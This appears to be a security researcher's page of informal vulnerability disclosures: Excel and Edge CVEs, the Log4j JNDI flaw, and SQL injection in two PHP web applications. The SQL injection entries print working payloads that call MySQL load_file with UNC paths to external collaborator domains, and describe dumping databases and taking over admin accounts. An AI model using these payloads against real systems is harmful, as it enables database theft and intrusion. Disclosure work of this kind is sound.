CVE-2023-23398
Description:
The attack itself is carried out locally by a user with authentication to the targeted system. An attacker could exploit the vulnerability by convincing a victim, through social engineering, to download and open a specially crafted file from a website which could lead to a local attack on the victim’s computer. The attacker can trick the victim to open a malicious web page by using an Excel malicious file and he can steal credentials, bank accounts information, sniffing and tracking all the traffic of the victim without stopping – it depends on the scenario and etc.

CVE-2023-23399
Description:
The malicious user can exploit the victim’s PC remotely.
For example, when the score indicates that the Attack Vector is Local and User Interaction is Required, this could describe an exploit in which an attacker, through social engineering, convinces a victim to download and open a specially crafted file from a website which leads to a local attack on their computer.
In this case, the malicious excel file create a very dangerous shell execution file, and after the victim will execute it, his PC maybe will never wake up normally, it depends on the case, which is very nasty.

CVE-2022-21970
Description
Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability.
This vulnerability allows an attacker to execute javascript code on every host without permission, also an attacker can steal local system files, and also he can manipulate the actions against the machine and result in changing internal developer settings in Microsoft Edge.
- NOTE: In this example, Microsoft Edge executes a malicious script without problems.
This is just a malicious .bat file that reboots the infected machine, and it’s only for testing!
The attacker can create a malicious file that can take a privileges escalation, malware, spyware, or kernel exploit file and harm seriously your device!
Not correctly sanitizing and checking for that what users download on their machines by using a MsEdge!
NOTE after the exploit: A malicious user, or whatever user can execute directly malicious .bat files which are created – generated from this javascript exploit by using MsEdge. 😁
According to Edge, this file is safe to run and open. 😁
FAQ
What is the version information for this release?
Microsoft Edge Version Date Released Based on Chromium Version
97.0.1072.55 | 1/6/2022 | 97.0.4692.71
STATUS:
- Patched and fixed on!
The next test is checking if this is fully patched! 🤫 😛 😎
Proof and simple browser test MsEdge: Edge is blocking .sys files because they can harm your device:
This proof of concept is shown as to how the MsEdge browser NOT blocking .bat files, and this is a problem.
NOTE: A malicious user, or whatever user can execute directly malicious
.batfiles which are created – generated by using exactly MsEdge and thisjavascript exploit.
This is ridiculous and incorrect sanitizing!😁
According to Edge, this file is safe to run and open. 😁

Protect yourself, before you break yourself… ;)
Description:
Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0, this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

CVE-2021-42668
Vendor
Description
The id from my_classmates.php in Engineers Online Portal 1.0 parameter appears to be vulnerable to SQL injection and RCE attacks.
The payload ‘+(select load_file(’\\n0o5m5xdxay49mw826umfj1wsnygm9ix90xrkh86.nu11secur1tyPenetrationTestingEngineer.net\sch’))+’ was submitted in the id parameter.
This payload injects a SQL sub-query that calls MySQL’s load_file function with a UNC file path that references a URL on an external domain.
The application interacted with that domain, indicating that the injected SQL query was executed.
The attacker can bypass the admin account and he can upload a malicious code by using the avatar vulnerability function with directory traversal method,
then he can execute this malicious code. For this example, the attacker destroys all files in the current directory.
STATUS Hiper Critical and Awful.
CONCLUSION: This pseudo developer must be stopped immediately.

Description:
The p parameter of the PuneethReddyHC online-shopping-system-advanced 1.0 appears to be vulnerable to SQL injection attacks.
The payload (select load_file ('\\\\grb7dmacp8fse7awai6uedfhi8o2cz0q2et1jp8.nu11secur1tycollaborator.net\\mpv')) was submitted in the p parameter.
This payload injects a SQL sub-query that calls MySQL’s load_file function with a UNC file path that references a URL on an external domain.
The application interacted with that domain, indicating that the injected SQL query was executed.
The malicious user can attack the database using four SQL injection methods (UNION query, time-based blind, error-based and boolean-based blind),
then he can dump all information from this database of the app, then he can log in to the admin account, and can do malicious stuff.
Conclusion: Status Critical.

(but I can’t image it is simply the shell function in VBA, that’s been a vector for some time. Any additional info would be appreciated.)
Yes, my dear friend and it has been for a long time. If you remember, a long time ago Microsoft allowed VBA execution from Internet Explorer, which is the same STUPID decision, etc…
